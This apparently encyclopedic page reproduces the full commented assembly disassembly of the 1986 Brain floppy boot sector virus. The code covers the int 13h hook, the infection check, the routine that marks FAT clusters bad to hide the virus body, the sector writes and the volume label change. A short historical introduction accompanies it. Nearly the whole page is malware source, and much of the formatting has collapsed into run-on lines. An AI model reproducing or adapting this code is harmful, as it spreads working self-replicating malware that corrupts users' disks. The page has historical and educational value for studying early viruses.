Self-Replicating Automata/List/Brain

Introduction
Like many of the earliest virus, it is evident from the code that Brain (brain.dos.x) does not utilise any inherent system vulnerabilities to spread. Its spreading is purely dependent on well documented function calls(interrupts).

Source Code

 * This is the ashar variant of the classic Pakistani Brain virus. It is large
 * by today's standards, although it was one of the first. It is a floppy only
 * boot sector infector.

brain          segment byte public assume cs:brain, ds:brain

org	0
 * Disassembly done by Dark Angel

cli jmp    entervirus idbytes        db       34h, 12h firsthead      db      0 firstsector    dw      2707h curhead        db      0 cursector      dw      1 db     0, 0, 0, 0 db     'Welcome to the  Dungeon         ' copyright	db	'(c) 1986 Brain' db     17h db	'& Amjads (pvt) Ltd  VIRUS_SHOE ' db	' RECORD  v9.0   Dedicated to th' db	'e dynamic memories of millions o'		db	'f virus who are no longer with u' db	's today - Thanks GOODNESS!! '               db      '  BEWARE OF THE er..VIRUS  : \th' db	'is program is catching     prog' db	'ram follows after these messeges' db	'..... $'		db	'#@%$' db	'@!! ' entervirus: mov	ax,cs mov    ds,ax                   ; ds = 0 mov    ss,ax                   ; set stack to after mov    sp,0F000h               ; virus sti mov    al,ds:[7C00h+offset firsthead] mov    ds:[7C00h+offset curhead],al mov    cx,ds:[7C00h+offset firstsector] mov    ds:[7C00h+offset cursector],cx call   calcnext mov    cx,5                    ; read five sectors mov    bx,7C00h+200h           ; after end of virus

loadnext: call   readdisk call   calcnext add	bx,200h loop   loadnext

mov    ax,word ptr ds:[413h]   ; Base memory size in Kb                sub     ax,7                    ; - 7 Kb                mov     word ptr ds:[413h],ax   ; Insert as new value mov	cl,6 shl    ax,cl                   ; Convert to paragraphs mov	es,ax mov    si,7C00h                ; Copy from virus start mov    di,0                    ; to start of memory mov    cx,1004h                ; Copy 1004h bytes cld rep    movsb push	es mov	ax,200h push	ax retf                           ; return to old boot sector

readdisk: push	cx push	bx mov    cx,4                    ; Try 4 times

tryread: push	cx mov    dh,ds:[7C00h+offset curhead] mov    dl,0                    ; Read sector from default mov    cx,ds:[7C00h+offset cursector] mov    ax,201h                 ; Disk to memory at es:bx int    13h jnc    readOK mov    ah,0                    ; Reset disk int    13h                     ; (force read track 0) pop	cx loop   tryread

int    18h                     ; ROM basic on failure readOK: pop	cx pop	bx pop	cx retn

calcnext: mov    al,byte ptr ds:[7C00h+offset cursector] inc	al mov    byte ptr ds:[7C00h+offset cursector],al cmp	al,0Ah jne    donecalc mov    byte ptr ds:[7C00h+offset cursector],1 mov    al,ds:[7C00h+offset curhead] inc	al mov    ds:[7C00h+offset curhead],al cmp	al,2 jne    donecalc mov    byte ptr ds:[7C00h+offset curhead],0 inc    byte ptr ds:[7C00h+offset cursector+1] donecalc: retn

db      00h, 00h, 00h, 00h, 32h,0E3h db      23h, 4Dh, 59h,0F4h,0A1h, 82h db     0BCh,0C3h, 12h, 00h, 7Eh, 12h db     0CDh, 21h,0A2h, 3Ch, 5Fh a_data         dw      050Ch jmp    short entersecondpart db     '(c) 1986 Brain & Amjads (pvt) Ltd ',0 readcounter    db      4                       ; keep track of # reads curdrive       db      0 int13flag      db      0
 * the following is a collection of garbage bytes
 * Second part of the virus begins here

entersecondpart: mov    cs:readcounter,1Fh xor    ax,ax mov    ds,ax                   ; ds -> interrupt table mov    ax,ds:[13h*4] mov    ds:[6Dh*4],ax mov    ax,ds:[13h*4+2] mov    ds:[6Dh*4+2],ax mov    ax,offset int13         ; 276h mov    ds:[13h*4],ax mov	ax,cs mov    ds:[13h*4+2],ax mov    cx,4                    ; 4 tries xor    ax,ax mov    es,ax                   ; es -> interrupt table

tryreadbootsector: push	cx mov    dh,cs:firsthead mov	dl,0 mov    cx,cs:firstsector mov    ax,201h                 ; read from default disk mov	bx,7C00h int    6Dh                     ; int 13h jnc    readbootOK mov	ah,0 int    6Dh                     ; int 13h pop	cx loop   tryreadbootsector

int    18h                     ; ROM basic on failure readbootOK:                                    ; return control to                                                ; original boot sector db	0EAh, 00h, 7Ch, 00h, 00h nop                            ; MASM NOP!!! int13: sti cmp    ah,2                    ; if not read request, jne    doint13                 ; do not go further cmp    dl,2                    ; if after second floppy, ja     doint13                 ; do not go further cmp    ch,0                    ; if not reading boot sector, jne    regularread             ; go handle as usual cmp    dh,0                    ; if boot sector, je     readboot                ; do I<-/>/\|> stuff regularread: dec    cs:readcounter          ; Infect after 4 reads jnz    doint13                 ; If counter still OK, don't                                                ; do anything else jmp    short readboot          ; Otherwise, try to infect doint13: jmp    exitint13h readboot: mov    cs:int13flag,0          ; clear flag mov    cs:readcounter,4        ; reset counter push	ax push	bx push	cx push	dx mov    cs:curdrive,dl mov	cx,4
 * jmp    far ptr 0000:7C00h
 * FINISH THIS!

tryreadbootblock: push	cx mov    ah,0                    ; Reset disk int    6Dh jc     errorreadingbootblock   ; Try again mov    dh,0 mov	cx,1 mov    bx,offset readbuffer    ; buffer @ 6BEh push	es mov	ax,cs mov	es,ax mov	ax,201h int    6Dh                     ; Read boot sector pop	es jnc    continuestuff           ; continue if no error errorreadingbootblock: pop    cx                loop    tryreadbootblock

jmp    short resetdisk         ; too many failures nop continuestuff: pop    cx                      ; get system id in boot block mov    ax,word ptr cs:[offset readbuffer+4] cmp    ax,1234h                ; already infected? jne    dodisk                  ; if not, infect it                mov     cs:int13flag,1          ; flag prev. infection jmp    short noreset dodisk: push	ds push	es mov	ax,cs mov	ds,ax mov	es,ax push	si call   writevirus              ; infect the disk jc     failme                  ; exit on failure mov    cs:int13flag,2          ; flag success call   changeroot              ; manipulate volume label failme: pop	si pop	es pop	ds jnc    noreset                 ; don't reset on success resetdisk: mov    ah,0                    ; reset disk int    6Dh                     ; int 13h noreset: pop	dx pop	cx pop	bx pop	ax cmp	cx,1 jne    exitint13h cmp	dh,0 jne    exitint13h cmp    cs:int13flag,1          ; already infected? jne    wasntinfected           ; if wasn't, go elsewhere mov    cx,word ptr cs:[offset readbuffer+7] mov    dx,word ptr cs:[offset readbuffer+5] mov    dl,cs:curdrive          ; otherwise, read real jmp    short exitint13h        ; boot sector wasntinfected: cmp    cs:int13flag,2          ; successful infection? jne    exitint13h              ; if not, just do call mov    cx,cs:firstsector mov    dh,cs:firsthead exitint13h: int    6Dh                     ; int 13h retf   2 db	15 dup (0)

FATManip:                                      ; returns al as error code jmp    short delvedeeper nop FATManipreadcounter dw     3 db     ' (c) 1986 Brain & Amjads (pvt) Ltd' delvedeeper: call   readFAT                 ; Get FAT ID byte mov    ax,word ptr ds:[offset readbuffer] cmp    ax,0FFFDh               ; is it 360K disk? je     is360Kdisk              ; continue if so                mov     al,3                    ; al=3 == not good disk stc                            ; flag error retn                           ; and exit is360Kdisk: mov	cx,37h mov    FATManipreadcounter,0   ; none found yet checknextsector: call   FATentry12bit           ; get entry in FAT cmp    ax,0                    ; unused? jne    notunused inc    FATManipreadcounter     ; one more found unused cmp    FATManipreadcounter,3   ; If need more, jne    tryanother              ;  go there jmp    short markembad         ; found 3 consecutive nop                            ; empty sectors notunused: mov    FATManipreadcounter,0   ; must start over tryanother: inc    cx                      ; try next sector cmp    cx,163h                 ; end of disk? jne    checknextsector         ; if not, continue mov    al,1                    ; al=1 == none empty stc                            ; Indicate error retn markembad: mov    dl,3                    ; 3 times markanotherbad: call   markbad12bit dec	cx dec	dl jnz    markanotherbad inc	cx call   calc1sttrack call   writeFAT                ; update FAT mov    al,0                    ; al=0 == ok                clc                             ; indicate success retn

markbad12bit: push   cx		push	dx mov    si,offset readbuffer    ; si -> buffer mov	al,cl shr    al,1 jc     low_12                  ; low bits call   clus2offset12bit mov    ax,[bx+si]              ; get FAT entry and    ax,0F000h               ; mark it bad or	ax,0FF7h jmp    short putitback         ; and put it back nop low_12: call   clus2offset12bit mov    ax,[bx+si]              ; get FAT entry and    ax,0Fh                  ; mark it bad or	ax,0FF70h putitback: mov    [bx+si],ax              ; replace FAT entry mov    word ptr ds:[400h][bx+si],ax ; in two places pop	dx pop	cx retn

FATentry12bit: push	cx mov    si,offset readbuffer    ; si->buffer mov	al,cl shr    al,1 jc     want_high_12 call   clus2offset12bit mov	ax,[bx+si] and    ax,0FFFh jmp    short exitFATentry12bit nop want_high_12: call   clus2offset12bit        ; xxxxxxxxxxxx0000 mov    ax,[bx+si]              ; ^^^^^^^^^^^^wanted and    ax,0FFF0h               ; mask wanted bits mov    cl,4                    ; and move to correct shr    ax,cl                   ; position exitFATentry12bit: pop	cx retn
 * Part 3 of the virus starts here

clus2offset12bit: push	dx mov    ax,3 mul    cx                shr     ax,1                    ; ax = cx*1.5 mov	bx,ax pop	dx retn

readFAT: mov    ah,2                    ; read call   FAT_IO retn

writeFAT: mov    ah,3                    ; write call   FAT_IO retn

FAT_IO: mov    cx,4                    ; try four times FAT_IOLoop: push	cx push	ax mov    ah,0                    ; reset disk int    6Dh                     ; int 13h pop	ax jc     tryFAT_IOagain mov    bx,offset readbuffer mov    al,4                    ; 4 sectors mov    dh,0                    ; head 0 mov    dl,curdrive mov    cx,2                    ; sector 2 push   ax                      ; (FAT) int    6Dh                     ; int 13h pop	ax jnc    exitFAT_IO tryFAT_IOagain: pop	cx loop   FAT_IOLoop

pop	ax pop	ax mov	al,2 stc                            ; mark error retn exitFAT_IO: pop	cx retn

calc1sttrack: push	cx sub    cx,2 shl    cx,1                    ; 2 sectors/cluster add    cx,0Ch                  ; start of data area mov    ax,cx                   ; ax = sector mov    cl,12h                  ; 4096 div    cl                      ; ax/4096 = al rem ah                mov     byte ptr firstsector+1,al mov    firsthead,0 inc	ah cmp    ah,9                    ; past track 9? jbe    notpasttrack9           ; nope, we are ok                sub     ah,9                    ; otherwise, adjust mov    firsthead,1 notpasttrack9: mov    byte ptr firstsector,ah pop	cx retn

db     0, 0, 0, 0, 0, 0 r_or_w_root    db      3 entrycount     dw      35h

tempsave1      dw      303h tempsave2      dw      0EBEh tempsave3      dw      1 tempsave4      dw      100h db	0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh db	 8Dh, 98h, 9Fh, 8Eh,0E0h db	' (c) ashar $' changeroot: call   readroot                ; read in root directory jc     donotchangeroot push	di call   changevolume            ; change volume label pop	di jc     donotchangeroot call   writeroot               ; write back new root dir donotchangeroot: retn db	0BBh, 9Bh, 04h,0B9h, 0Bh db     0,8Ah,7,0F6h,0D8h,88h,4,46h,43h db     0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h db     0C6h, 06h
 * The following is just garbage bytes

changevolume: mov    entrycount,6Ch mov    si,offset readbuffer+40h; 3nd dir entry mov    tempsave1,dx mov    ax,entrycount           ; 6Ch shr    ax,1 mov    tempsave3,ax            ; 36h shr    ax,1 mov    tempsave2,ax            ; 1Bh xchg   ax,cx and    cl,43h                  ; cx = 3 mov    di,tempsave2 add    di,1E3h                 ; di = 01FE findlabel: mov	al,[si] cmp	al,0 je     dolabel                 ; no mo entries mov    al,[si+0Bh]             ; attribute byte and    al,8                    ; volume label? cmp    al,8                    ; yes? je     dolabel                 ; then change it! add    si,20h                  ; go to next directory entry dec    entrycount jnz    findlabel               ; loop back stc                            ; Error! retn db	8Bh dolabel: mov    bx,[di]                 ; offset a_data xor    bx,tempsave3            ; bx = 53Ah mov    tempsave3,si            ; si->direntry cli mov	ax,ss mov    tempsave1,ax mov    tempsave2,sp mov	ax,cs mov	ss,ax mov    sp,tempsave3 add    sp,0Ch                  ;->reserved area mov    cl,51h add	dx,444Ch mov    di,2555h mov	cx,0C03h repe   cmpsw mov    ax,0B46h mov	cx,3 rol    ax,cl                   ; ax = 5A30h mov    tempsave3,ax mov	cx,5 mov	dx,8 sub    tempsave3,5210h         ; 820h push   tempsave3               ; store attributes/reserved
 * I haven't commented the remainder of this procedure.
 * It basically changes the volume label to read "(c) Brain"


 * Comment mode OFF

dowhatever: mov    ah,[bx]                 ; 5a3h inc	bx mov    dl,ah shl    dl,1 jc     dowhatever searchstuff: mov    dl,[bx]                 ; dl=C2h inc    bx                      ; bx=53Eh mov    al,dl shl    dl,1 jc     searchstuff add	ax,1D1Dh push	ax inc    tempsave3 db      73h, 01h               ; jnc $+3 db     0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 xchg   bp,ax add    al,0A1h xchg   bx,ax add    al,8Eh sar    bl,1 add    dh,[bp+si] clc ret ;db      95h, 04h,0A1h, 93h, 04h, 8Eh ;db     0D0h,0FBh, 02h, 32h,0F8h,0C3h


 * Comment mode ON

readroot: mov    r_or_w_root,2           ; set action code jmp    short do_rw_root        ; easier to do w/                nop                             ; mov ah, 2 writeroot: mov    r_or_w_root,3 jmp    short do_rw_root        ; this is somewhat useless nop do_rw_root: mov    dh,0                    ; head 0 mov    dl,curdrive mov    cx,6                    ; sector 6 mov    ah,r_or_w_root mov    al,4                    ; 4 sectors mov    bx,offset readbuffer call   doint13h jc     exit_rw_root            ; quit on error mov	cx,1 mov    dh,1                    ; head 1 mov    ah,r_or_w_root mov	al,3 add	bx,800h call   doint13h

exit_rw_root: retn

doint13h: mov    tempsave1,ax mov    tempsave2,bx mov    tempsave3,cx mov    tempsave4,dx mov	cx,4

doint13hloop: push	cx mov    ah,0                    ; Reset disk int    6Dh jc     errordoingint13h mov    ax,tempsave1 mov    bx,tempsave2 mov    cx,tempsave3 mov    dx,tempsave4 int    6Dh                     ; int 13h jnc    int13hsuccess errordoingint13h: pop	cx loop   doint13hloop

stc                            ; indicate error retn int13hsuccess: pop	cx retn

db	0, 0, 0 tempstorecx    dw      3 readwritecurrentdata   dw      301h
 * Part 4 of the virus starts here

writevirus: call   FATManip jc     exitwritevirus mov    cursector,1 mov    curhead,0 mov    bx,offset readbuffer call   readcurrent mov    bx,offset readbuffer mov    ax,firstsector mov    cursector,ax mov    ah,firsthead mov    curhead,ah call   writecurrent call   calcnextsector mov	cx,5 mov	bx,200h writeanothersector: mov    tempstorecx,cx call   writecurrent call   calcnextsector add	bx,200h mov    cx,tempstorecx loop   writeanothersector

mov    curhead,0 mov    cursector,1 mov	bx,0 call   writecurrent clc                            ; indicate success exitwritevirus: retn

readcurrent: mov    readwritecurrentdata,201h jmp    short doreadwrite nop writecurrent: mov    readwritecurrentdata,301h jmp    short doreadwrite       ; This is pointless. nop doreadwrite: push	bx mov	cx,4

tryreadwriteagain: push	cx mov    dh,curhead mov    dl,curdrive mov    cx,cursector mov    ax,readwritecurrentdata ; read or write? int    6Dh                     ; int 13h jnc    readwritesuccessful mov    ah,0                    ; reset disk int    6Dh                     ; int 13h pop	cx loop   tryreadwriteagain

pop	bx pop	bx stc                            ; Indicate error retn readwritesuccessful: pop	cx pop	bx retn

calcnextsector: inc    byte ptr cursector      ; next sector cmp    byte ptr cursector,0Ah jne    donecalculate           ; finished calculations mov    byte ptr cursector,1    ; clear sector # inc    curhead                 ; and go to next head cmp    curhead,2               ; if not too large, jne    donecalculate           ; we are done mov    curhead,0               ; otherwise clear head # inc    byte ptr cursector+1    ; and advance cylinder donecalculate: retn

db	 64h, 74h, 61h

readbuffer: brain          ends end
 * read buffer starts here
 * insert your favorite boot block below...

External link

 * Story of the virus from Brain Limited - This link has the actual message of the virus, complete with the phone numbers, etc.